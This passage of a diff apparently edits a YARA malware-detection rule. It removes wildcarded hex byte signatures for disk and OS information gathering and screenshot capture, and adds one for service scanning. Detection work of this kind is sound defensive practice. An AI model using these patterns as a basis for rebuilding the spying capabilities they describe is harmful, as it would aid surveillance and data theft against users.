?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 83 BC 24 ?? ?? - ?? ?? ?? 48 0F 47 8C 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? - 48 89 44 24 ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 - 44 24 ?? 4C 8D 8C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 0F 57 FF 48 85 C9 78 ?? F2 - 48 0F 2A F9 EB ?? 48 8B C1 48 D1 E8 83 E1 ?? 48 0B C1 F2 48 0F 2A F8 F2 0F 58 FF F2 - 41 0F 59 F8 48 8B 8C 24 ?? ?? ?? ?? 0F 57 F6 48 85 C9 78 ?? F2 48 0F 2A F1 EB ?? 48 - 8B C1 48 D1 E8 83 E1 ?? 48 0B C1 F2 48 0F 2A F0 F2 0F 58 F6 F2 41 0F 59 F0 33 D2 41 - B8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 90 4C 8D 8C 24 ?? ?? ?? ?? 49 FF C9 B8 ?? ?? ?? ?? F7 E3 C1 EA ?? 0F B6 C2 - C0 E0 ?? 8D 0C 10 02 C9 2A D9 80 C3 ?? 41 88 19 8B DA 85 D2 75 ?? 4C 8D 84 24 ?? ?? - ?? ?? 49 8B D1 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 83 CC ?? 44 89 64 24 ?? 48 - } - $get_disk_information_p3 = { - 8B B4 24 ?? ?? ?? ?? 48 8B C7 48 2B C6 48 83 F8 ?? 0F 82 ?? ?? ?? ?? 4C 8D BC 24 ?? - ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 4C 0F 47 BC 24 ?? ?? ?? ?? 0F 57 C0 0F 11 84 24 - ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 4C 8D 76 ?? BF ?? ?? ?? - ?? 48 8D 9C 24 ?? ?? ?? ?? 4C 3B F7 0F 86 ?? ?? ?? ?? 49 8B FE 48 83 CF ?? 48 B8 ?? - ?? ?? ?? ?? ?? ?? ?? 48 3B F8 76 ?? 48 8B F8 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 83 C0 - ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 58 ?? 48 83 E3 ?? 48 89 - 43 ?? EB ?? 48 83 FF ?? B8 ?? ?? ?? ?? 48 0F 42 F8 48 8D 4F ?? 48 85 C9 75 ?? 49 8B - DD EB ?? 48 81 F9 ?? ?? ?? ?? 72 ?? 48 8D 41 ?? 48 3B C1 0F 86 ?? ?? ?? ?? EB ?? E8 - ?? ?? ?? ?? 48 8B D8 48 89 9C 24 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 48 89 BC 24 ?? - ?? ?? ?? 4C 8B C6 49 8B D7 48 8B CB E8 ?? ?? ?? ?? 66 C7 04 33 ?? ?? 42 C6 04 33 ?? - 41 83 CC ?? 44 89 64 24 ?? 4C 8D 8C 24 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 48 8D 8C - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 0F BA EC ?? 44 89 64 24 ?? 41 B8 ?? ?? ?? ?? 48 8D - 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 57 C0 0F 11 44 24 ?? 4C 89 - 6C 24 ?? 4C 89 AC 24 ?? ?? ?? ?? 0F 10 00 0F 11 44 24 ?? 0F 10 48 ?? 0F 11 4C 24 ?? - 4C 89 68 ?? 48 C7 40 ?? ?? ?? ?? ?? C6 00 ?? 41 0F BA EC ?? 44 89 64 24 ?? 48 8D 84 - 24 ?? ?? ?? ?? 49 C7 C0 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? 49 FF C0 42 80 3C 00 - } - $get_disk_information_p4 = { - 75 ?? 48 8D 94 24 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 0F 57 C0 0F 11 84 24 ?? - ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 0F 10 00 0F 11 84 24 ?? ?? - ?? ?? 0F 10 48 ?? 0F 11 8C 24 ?? ?? ?? ?? 4C 89 68 ?? 48 C7 40 ?? ?? ?? ?? ?? C6 00 - ?? 41 0F BA EC ?? 44 89 64 24 ?? 41 B8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 57 C0 0F 11 44 24 ?? 4C 89 6C 24 ?? 4C 89 6C 24 ?? 0F - 10 00 0F 11 44 24 ?? 0F 10 48 ?? 0F 11 4C 24 ?? 4C 89 68 ?? 48 C7 40 ?? ?? ?? ?? ?? - C6 00 ?? 41 83 CC ?? 44 89 64 24 ?? 48 8D 54 24 ?? 48 83 7C 24 ?? ?? 48 0F 47 54 24 - ?? 4C 8B 44 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 54 24 ?? 48 83 FA - ?? 76 ?? 48 FF C2 48 8B 4C 24 ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 - 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 6C - 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 83 FA ?? - 76 ?? 48 FF C2 48 8B 8C 24 ?? ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 - ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C - 89 AC 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 - 8B 94 24 ?? ?? ?? ?? 48 83 FA ?? 76 ?? 48 FF C2 48 8B 4C 24 ?? 48 8B C1 48 81 FA ?? - ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 4C 89 6C 24 ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 44 24 ?? - ?? 48 8B 94 24 ?? ?? ?? ?? 48 83 FA ?? 76 ?? 48 FF C2 48 8B 8C 24 ?? ?? ?? ?? 48 8B - } - $get_disk_information_p5 = { - C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 - ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? - ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 83 FA ?? 76 ?? 48 FF - C2 48 8B 8C 24 ?? ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 - ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 94 24 - ?? ?? ?? ?? 48 83 FA ?? 76 ?? 48 FF C2 48 8B 8C 24 ?? ?? ?? ?? 48 8B C1 48 81 FA ?? - ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 63 48 ?? 8B 84 0C ?? ?? ?? ?? 0F BA - F0 ?? 0F BA E8 ?? 89 84 0C ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 63 51 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 03 CA 48 8B - 50 ?? FF 10 0F 28 CE 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 - 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 63 48 ?? 8B 84 0C ?? - ?? ?? ?? 0F BA F0 ?? 0F BA E8 ?? 89 84 0C ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 8C 24 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 63 51 ?? 48 8D 8C 24 ?? ?? ?? ?? - 48 03 CA 48 8B 50 ?? FF 10 0F 28 CF 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 - ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F 57 C0 0F 11 44 24 ?? 4D 8B - CD 4C 89 6C 24 ?? 41 BA ?? ?? ?? ?? 4C 89 94 24 ?? ?? ?? ?? C6 44 24 ?? ?? 41 0F BA - } - $get_disk_information_p6 = { - EC ?? 44 89 64 24 ?? 33 C0 0F 11 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 8B 8C 24 - ?? ?? ?? ?? 8B C1 24 ?? 3C ?? 74 ?? 48 8B 84 24 ?? ?? ?? ?? 4C 8B 00 4D 85 C0 74 ?? - 48 8B 84 24 ?? ?? ?? ?? 48 8B 10 4C 3B 84 24 ?? ?? ?? ?? 4C 0F 42 84 24 ?? ?? ?? ?? - 4C 2B C2 EB ?? F6 C1 ?? 75 ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 08 48 85 C9 74 ?? 48 8B - 84 24 ?? ?? ?? ?? 48 8B 10 48 8B 84 24 ?? ?? ?? ?? 4C 63 00 4C 2B C2 4C 03 C1 EB ?? - 4C 8B 84 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 85 D2 74 ?? 48 8D 4C 24 ?? E8 ?? - ?? ?? ?? 4C 8B 94 24 ?? ?? ?? ?? 4C 8B 4C 24 ?? 41 0F BA F4 ?? 41 83 CC ?? 44 89 64 - 24 ?? 48 8D 54 24 ?? 49 83 FA ?? 48 0F 47 54 24 ?? 4D 8B C1 48 8D 8C 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 90 48 8B 94 24 ?? ?? ?? ?? 48 83 FA ?? 76 ?? 48 FF C2 48 8B 4C 24 ?? - 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 - 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 48 BF ?? ?? ?? ?? ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 83 FA ?? 76 ?? 48 FF C2 48 - 8B 8C 24 ?? ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 - 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? - ?? 0F B6 44 24 ?? FE C0 8B B4 24 - } - $get_os_information_p1 = { - 48 89 5C 24 ?? 48 89 74 24 ?? 48 89 7C 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? - ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 48 8B F9 48 89 4C 24 ?? - 33 F6 89 74 24 ?? 33 D2 41 B8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F - 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 0F - 84 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? - ?? ?? ?? 48 8D 4C 24 ?? FF D3 85 C0 0F 85 ?? ?? ?? ?? 8B 54 24 ?? 48 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 8B C8 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 8B 54 24 ?? - E8 ?? ?? ?? ?? 48 8B C8 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 44 24 ?? 48 89 44 - 24 ?? 45 33 C9 45 33 C0 8B 54 24 ?? 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 54 24 ?? 48 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B C8 8B 54 24 ?? E8 ?? ?? - ?? ?? 48 8B C8 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 48 8D 54 24 ?? EB ?? 48 - } - $get_os_information_p2 = { - 8D 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F 57 C0 0F 11 07 48 89 77 - ?? 48 C7 47 ?? ?? ?? ?? ?? 66 89 37 C7 44 24 ?? ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 8B - C1 24 ?? 3C ?? 74 ?? 48 8B 85 ?? ?? ?? ?? 48 8B 10 48 85 D2 74 ?? 48 8B 85 ?? ?? ?? - ?? 4C 8B 08 48 3B 95 ?? ?? ?? ?? 48 0F 42 95 ?? ?? ?? ?? 49 2B D1 EB ?? F6 C1 ?? 75 - ?? 48 8B 85 ?? ?? ?? ?? 48 8B 08 48 85 C9 74 ?? 48 8B 85 ?? ?? ?? ?? 4C 8B 08 48 8B - 85 ?? ?? ?? ?? 48 63 10 48 03 D2 49 2B D1 48 03 D1 49 8B C1 48 D1 FA 48 85 C0 74 ?? - 48 8B CF 48 83 FA ?? 77 ?? 48 89 57 ?? 48 8D 1C 12 4C 8B C3 49 8B D1 E8 ?? ?? ?? ?? - 66 89 34 3B EB ?? E8 ?? ?? ?? ?? 90 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C7 48 - 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B - 73 ?? 49 8B 7B ?? 49 8B E3 5D C3 - } - $take_screenshot_p1 = { - 48 89 5C 24 ?? 48 89 74 24 ?? 57 41 54 41 55 41 56 41 57 48 81 EC ?? ?? ?? ?? 48 8B - 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? ?? ?? 8B FA 33 DB 48 8B 05 ?? ?? ?? ?? 48 - 89 84 24 ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? ?? 4C 8B F8 48 89 84 24 ?? ?? ?? ?? 48 8B - C8 FF 15 ?? ?? ?? ?? 48 8B F0 48 89 44 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 41 BC - ?? ?? ?? ?? 41 BD ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 33 C9 FF 15 ?? - ?? ?? ?? 85 C0 74 ?? 44 8B A4 24 ?? ?? ?? ?? 44 8B AC 24 ?? ?? ?? ?? 45 8B C5 41 8B - D4 49 8B CF FF 15 ?? ?? ?? ?? 48 8B D0 48 8B CE FF 15 ?? ?? ?? ?? 48 89 84 24 ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? 89 5C 24 ?? 4C 89 7C 24 ?? 44 89 6C 24 ?? - 45 8B CC 45 33 C0 33 D2 48 8B CE FF 15 ?? ?? ?? ?? 8B CF 41 0F AF CC B8 ?? ?? ?? ?? - F7 E9 44 8B F2 41 D1 FE 41 8B CE C1 E9 ?? 44 03 F1 41 0F AF FD B8 ?? ?? ?? ?? F7 EF - 8B F2 D1 FE 8B C6 C1 E8 ?? 03 F0 44 8B C6 41 8B D6 49 8B CF FF 15 ?? ?? ?? ?? 4C 8B - F8 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B F8 49 8B D7 48 8B C8 FF 15 ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? 44 89 6C 24 ?? 44 89 64 24 ?? 89 5C 24 ?? 89 5C 24 ?? - 48 8B 44 24 ?? 48 89 44 24 ?? 89 74 24 ?? 45 8B CE 45 33 C0 33 D2 48 8B CF FF 15 ?? - ?? ?? ?? 0F 57 C0 0F 11 84 24 ?? ?? ?? ?? 0F 11 84 24 ?? ?? ?? ?? 0F 11 84 24 ?? ?? - ?? ?? 0F 11 84 24 ?? ?? ?? ?? 0F 11 84 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 84 - 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 89 9C 24 ?? - ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B F8 48 8D 48 ?? FF 15 ?? ?? ?? - ?? FF 47 ?? 48 8D 4F ?? FF 15 ?? ?? ?? ?? 90 4C 89 BC 24 ?? ?? ?? ?? 4C 8D 84 24 ?? - ?? ?? ?? BA ?? ?? ?? ?? 49 8B CF FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? C6 84 - } - $take_screenshot_p2 = { - 24 ?? ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? 44 8B 84 24 ?? ?? ?? ?? - 45 8B C8 41 F7 D9 45 0F 48 C8 44 89 8C 24 ?? ?? ?? ?? 0F B7 84 24 ?? ?? ?? ?? 89 84 - 24 ?? ?? ?? ?? 0F AF C1 83 C0 ?? 99 83 E2 ?? 03 C2 C1 F8 ?? C1 E0 ?? 89 84 24 ?? ?? - ?? ?? 4C 8B 94 24 ?? ?? ?? ?? 4C 89 94 24 ?? ?? ?? ?? 45 85 C0 7E ?? 41 8D 49 ?? 0F - AF C8 48 63 D1 49 03 D2 48 89 94 24 ?? ?? ?? ?? F7 D8 89 84 24 ?? ?? ?? ?? EB ?? C6 - 84 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? - 89 84 24 ?? ?? ?? ?? 0F B7 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 9C 24 ?? ?? ?? - ?? 48 89 9C 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? - 48 89 9C 24 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? - ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? - ?? ?? 48 8B 01 45 33 C0 48 8D 94 24 ?? ?? ?? ?? FF 50 ?? 44 8B A4 24 ?? ?? ?? ?? 48 - 8B 8C 24 ?? ?? ?? ?? 48 8B 01 45 33 C9 45 33 C0 48 8B D3 FF 50 ?? 41 8B CC E8 ?? ?? - ?? ?? 4C 8B E8 89 9C 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B 01 4C 8D 8C 24 ?? - ?? ?? ?? 45 8B C4 49 8B D5 FF 50 ?? 4C 8D 8C 24 ?? ?? ?? ?? 45 8B C4 0F 1F 40 ?? 66 - 0F 1F 84 00 ?? ?? 00 00 49 FF C9 B8 ?? ?? ?? ?? 41 F7 E0 C1 EA ?? 0F B6 C2 C0 E0 ?? - 8D 0C 10 02 C9 44 2A C1 41 80 C0 ?? 45 88 01 44 8B C2 85 D2 75 ?? 4C 8D 84 24 ?? ?? - ?? ?? 49 8B D1 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 4C 8B 44 24 ?? 48 8B 8C 24 ?? ?? ?? - ?? 48 8B C1 49 2B C0 4C 8D 35 ?? ?? ?? ?? 48 83 F8 ?? 0F 82 ?? ?? ?? ?? 49 8D 40 ?? - 48 89 44 24 ?? 48 8D 7C 24 ?? 48 83 F9 ?? 48 0F 47 7C 24 ?? 48 8D 05 ?? ?? ?? ?? 48 - 3B C7 76 ?? 4A 8D 04 07 4C 3B F0 77 ?? BE ?? ?? ?? ?? 49 3B FE 77 ?? 4C 8B FB EB - } - $take_screenshot_p3 = { - 4C 8B FF 4D 2B FE EB ?? BE ?? ?? ?? ?? 44 8B FE 48 8D 4F ?? 49 FF C0 48 8B D7 E8 ?? - ?? ?? ?? 4D 8B C7 49 8B D6 48 8B CF E8 ?? ?? ?? ?? 4A 8D 0C 3F 49 2B F7 49 8D 56 ?? - 49 03 D7 4C 8B C6 E8 ?? ?? ?? ?? 48 8D 44 24 ?? EB ?? BE ?? ?? ?? ?? 48 89 74 24 ?? - 4C 89 74 24 ?? 8B D6 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 0F 57 C0 0F 11 84 24 ?? ?? ?? ?? - 48 89 9C 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 0F 10 00 0F 11 84 24 ?? ?? ?? ?? 0F - 10 48 ?? 0F 11 8C 24 ?? ?? ?? ?? 48 89 58 ?? 48 C7 40 ?? ?? ?? ?? ?? C6 00 ?? 48 8B - 94 24 ?? ?? ?? ?? 48 83 FA ?? 76 ?? 48 FF C2 48 8B 4C 24 ?? 48 8B C1 48 81 FA ?? ?? - ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 89 5C 24 ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 44 24 ?? ?? - 48 8D 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C3 4C 8B 8C 24 - ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 4D 85 C9 0F 84 ?? ?? ?? - ?? 66 66 66 0F 1F 84 00 ?? ?? 00 00 48 8D 8C 24 ?? ?? ?? ?? 48 83 FA ?? 49 0F 47 C8 - 0F BE 0C 01 81 F9 ?? ?? ?? ?? 73 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 83 FA ?? 49 0F 47 C8 - 80 3C 01 ?? 74 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 83 FA ?? 49 0F 47 C8 80 3C 01 ?? 74 ?? - 48 8D 8C 24 ?? ?? ?? ?? 48 83 FA ?? 49 0F 47 C8 48 8D 94 24 ?? ?? ?? ?? 48 83 BC 24 - ?? ?? ?? ?? ?? 48 0F 47 94 24 ?? ?? ?? ?? 0F B6 0C 01 80 F1 ?? 88 0C 02 48 8B 94 24 - ?? ?? ?? ?? 4C 8B 8C 24 ?? ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 48 FF C0 49 3B C1 0F 82 - ?? ?? ?? ?? 48 83 FA ?? 76 ?? 48 FF C2 49 8B C0 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 - ?? 4D 8B 40 ?? 49 2B C0 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? 49 8B C8 E8 ?? ?? - ?? ?? 0F 10 84 24 ?? ?? ?? ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 8C 24 ?? ?? ?? ?? 0F 11 - } - $take_screenshot_p4 = { - 8C 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 66 49 0F 7E C1 66 0F 73 D9 ?? 66 48 0F 7E - C8 48 83 F8 ?? 49 0F 47 D1 45 33 C9 41 B8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 45 33 C9 45 8B C4 49 8B D5 48 8B 8C 24 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? - ?? 48 8B 01 FF 50 ?? 49 8B CD E8 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 4C 24 ?? - FF 15 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? - ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? ?? 90 48 8B 94 24 ?? ?? ?? ?? - 48 83 FA ?? 76 ?? 48 FF C2 48 8B 8C 24 ?? ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 - ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? - ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 85 C9 74 ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 - 8B F8 48 8D 48 ?? FF 15 ?? ?? ?? ?? 83 6F ?? ?? 75 ?? 48 8D 4F ?? FF 15 ?? ?? ?? ?? - 48 8B 0F 48 85 C9 74 ?? FF 15 ?? ?? ?? ?? 48 89 1F 48 8D 4F ?? FF 15 ?? ?? ?? ?? 48 - 8D 4F ?? FF 15 ?? ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D - 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 73 ?? 49 8B E3 41 5F 41 5E 41 5D 41 5C 5F C3 - } + $scan_for_services = { + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 66 A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 66 39 2D ?? ?? ?? ?? 73 ?? 66 01 1D ?? ?? ?? ?? 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 + ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 66 89 + 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 39 2D ?? ?? ?? ?? 73 ?? 66 01 1D ?? ?? ?? ?? 03 F3 + E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 + C0 75 ?? BA ?? ?? ?? ?? 66 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 39 2D ?? ?? ?? ?? 73 + ?? 66 01 1D ?? ?? ?? ?? 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 66 A3 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 66 39 2D ?? ?? ?? ?? 73 ?? 66 01 1D ?? ?? ?? ?? 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? + 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 66 + 89 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 39 2D ?? ?? ?? ?? 73 ?? 66 01 1D ?? ?? ?? ?? 03 + F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 85 C0 75 ?? BA ?? ?? ?? ?? 66 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 FF 66 39 2D ?? ?? + ?? ?? 73 ?? A1 ?? ?? ?? ?? 50 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 66 01 1D ?? ?? ?? ?? 8B + FB 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? 85 C0 75 ?? BA ?? ?? ?? ?? 66 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 39 2D ?? 